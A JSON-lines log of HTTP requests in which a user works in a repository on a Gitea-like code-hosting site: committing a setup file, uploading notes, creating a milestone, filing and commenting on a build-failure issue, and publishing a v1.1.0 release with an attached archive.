{"method": "POST", "target": "/alice/tools/_new/main/", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 272", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/_new/main/", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": "last_commit=2a8b9144333b5cb8075a74c64b31dbaa7ea02b3c&page_has_posted=&tree_path=docs%2Fpython3-setup.md&content=%23+Setup%0D%0A%0D%0AInstall+the+tools.%0D%0A&commit_summary=Add+setup+notes&commit_message=&commit_choice=direct&new_branch_name=alice-patch-1&commit_mail_id=1"}
|
|
||||||
{"method": "GET", "target": "/assets/js/---.8673fbd3.js", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools/_new/main/", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/assets/js/------.2befb329.js", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools/_new/main/", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/assets/js/vendors-node_modules_codemirror_lang-markdown_dist_index_js.eef88d50.js", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools/_new/main/", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/src/branch/main/docs/python3-setup.md", "headers": ["Host: example.com", "Connection: keep-alive", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/_new/main/", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/_upload/main/", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "POST", "target": "/alice/tools/upload-file", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 224", "Cache-Control: no-cache", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundary4q9JlyMIwlkOQ1ZY", "Origin: http://example.com", "Referer: http://example.com/alice/tools/_upload/main/", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": "------WebKitFormBoundary4q9JlyMIwlkOQ1ZY\r\nContent-Disposition: form-data; name=\"file\"; filename=\"notes.txt\"\r\nContent-Type: text/plain\r\n\r\nSteps to reproduce: run the build twice.\n\r\n------WebKitFormBoundary4q9JlyMIwlkOQ1ZY--\r\n"}
|
|
||||||
{"method": "POST", "target": "/alice/tools/_upload/main/", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 229", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/_upload/main/", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": "tree_path=&files=cde01135-f509-483d-af4a-56d1f754aa2c&files_fullpath%5Bcde01135-f509-483d-af4a-56d1f754aa2c%5D=notes.txt&commit_summary=Add+notes&commit_message=&commit_choice=direct&new_branch_name=alice-patch-1&commit_mail_id=1"}
|
|
||||||
{"method": "GET", "target": "/alice/tools/src/branch/main/", "headers": ["Host: example.com", "Connection: keep-alive", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/_upload/main/", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/labels", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/assets/css/colorpicker.6c3c1b7d.css", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/alice/tools/labels", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/assets/js/colorpicker.eb94c3c5.js", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools/labels", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/milestones/new", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "POST", "target": "/alice/tools/milestones/new", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 36", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/milestones/new", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": "title=Version+1.1&deadline=&content="}
|
|
||||||
{"method": "GET", "target": "/alice/tools/milestones", "headers": ["Host: example.com", "Connection: keep-alive", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/milestones/new", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US; flash=success%3DThe%2Bmilestone%2B%2522Version%2B1.1%2522%2Bhas%2Bbeen%2Bcreated."], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/issues/new", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "POST", "target": "/alice/tools/issues/attachments", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 5018", "Cache-Control: no-cache", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryZATiKc8Kvm2f9kjJ", "Origin: http://example.com", "Referer: http://example.com/alice/tools/issues/new", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": "------WebKitFormBoundaryZATiKc8Kvm2f9kjJ\r\nContent-Disposition: form-data; name=\"file\"; filename=\"screenshot.png\"\r\nContent-Type: image/png\r\n\r\n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 truncated
|
|
||||||
{"method": "POST", "target": "/alice/tools/issues/new", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 1281", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundarypBVS0yCpwcYAG4g1", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/alice/tools/issues/new", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": "------WebKitFormBoundarypBVS0yCpwcYAG4g1\r\nContent-Disposition: form-data; name=\"title\"\r\n\r\nBuild fails on a clean checkout\r\n------WebKitFormBoundarypBVS0yCpwcYAG4g1\r\nContent-Disposition: form-data; name=\"content\"\r\n\r\nThe build stops after the first step. It works on the second try.\r\n------WebKitFormBoundarypBVS0yCpwcYAG4g1\r\nContent-Disposition: form-data; name=\"files\"\r\n\r\n179d62f5-4ae4-4e5e-9893-269ae399ca12\r\n------WebKitFormBoundarypBVS0yCpwcYAG4g1\r\nContent-Disposition: form-data; name=\"files_fullpath[179d62f5-4ae4-4e5e-9893-269ae399ca12]\"\r\n\r\nscreenshot.png\r\n------WebKitFormBoundarypBVS0yCpwcYAG4g1\r\nContent-Disposition: form-data; name=\"ref\"\r\n\r\n\r\n------WebKitFormBoundarypBVS0yCpwcYAG4g1\r\nContent-Disposition: form-data; name=\"edit_mode\"\r\n\r\ntrue\r\n------WebKitFormBoundarypBVS0yCpwcYAG4g1\r\nContent-Disposition: form-data; name=\"search\"\r\n\r\n\r\n------WebKitFormBoundarypBVS0yCpwcYAG4g1\r\nContent-Disposition: form-data; name=\"label_ids\"\r\n\r\n\r\n------WebKitFormBoundarypBVS0yCpwcYAG4g1\r\nContent-Disposition: form-data; name=\"milestone_id\"\r\n\r\n\r\n------WebKitFormBoundarypBVS0yCpwcYAG4g1\r\nContent-Disposition: form-data; name=\"project_id\"\r\n\r\n\r\n------WebKitFormBoundarypBVS0yCpwcYAG4g1\r\nContent-Disposition: form-data; name=\"assignee_ids\"\r\n\r\n\r\n------WebKitFormBoundarypBVS0yCpwcYAG4g1--\r\n"}
|
|
||||||
{"method": "POST", "target": "/-/fetch-redirect", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 38", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/issues/new", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": "redirect=%2Falice%2Ftools%2Fissues%2F1"}
|
|
||||||
{"method": "GET", "target": "/alice/tools/issues/1", "headers": ["Host: example.com", "Connection: keep-alive", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/issues/new", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/issues/1/content-history/overview", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools/issues/1", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/attachments/179d62f5-4ae4-4e5e-9893-269ae399ca12", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/alice/tools/issues/1", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/issues/1", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "POST", "target": "/alice/tools/issues/1/comments", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 163", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryuLA6czyWTpPLGhxN", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/alice/tools/issues/1", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": "------WebKitFormBoundaryuLA6czyWTpPLGhxN\r\nContent-Disposition: form-data; name=\"content\"\r\n\r\nThanks, I can see it too.\r\n------WebKitFormBoundaryuLA6czyWTpPLGhxN--\r\n"}
|
|
||||||
{"method": "POST", "target": "/-/fetch-redirect", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 55", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/issues/1", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": "redirect=%2Falice%2Ftools%2Fissues%2F1%23issuecomment-1"}
|
|
||||||
{"method": "GET", "target": "/alice/tools/issues/1", "headers": ["Host: example.com", "Connection: keep-alive", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/issues/1", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/alice/tools/releases/new", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
{"method": "POST", "target": "/alice/tools/releases/attachments", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 227", "Cache-Control: no-cache", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundarygH3DxdI69SJCwZ2b", "Origin: http://example.com", "Referer: http://example.com/alice/tools/releases/new", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": "------WebKitFormBoundarygH3DxdI69SJCwZ2b\r\nContent-Disposition: form-data; name=\"file\"; filename=\"tools-linux-amd64.tar.gz\"\r\nContent-Type: application/gzip\r\n\r\neJwryc/PKVZIysxLLKosGQFsAIkDYLk=\r\n------WebKitFormBoundarygH3DxdI69SJCwZ2b--\r\n"}
|
|
||||||
{"method": "POST", "target": "/alice/tools/releases/new", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 261", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/releases/new", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": "tag_name=v1.1.0&tag_target=main&title=Version+1.1.0&content=Faster+builds.&attachment-template-new-name=&attachment-template-new-exturl=&files=a637a7ba-b419-4ec3-8c33-1c119e93bc14&files_fullpath%5Ba637a7ba-b419-4ec3-8c33-1c119e93bc14%5D=tools-linux-amd64.tar.gz"}
|
|
||||||
{"method": "GET", "target": "/alice/tools/releases", "headers": ["Host: example.com", "Connection: keep-alive", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/releases/new", "Accept-Encoding: gzip, deflate", "Cookie: session=d65379616ffd0971; lang=en-US"], "body": ""}
|
|
||||||
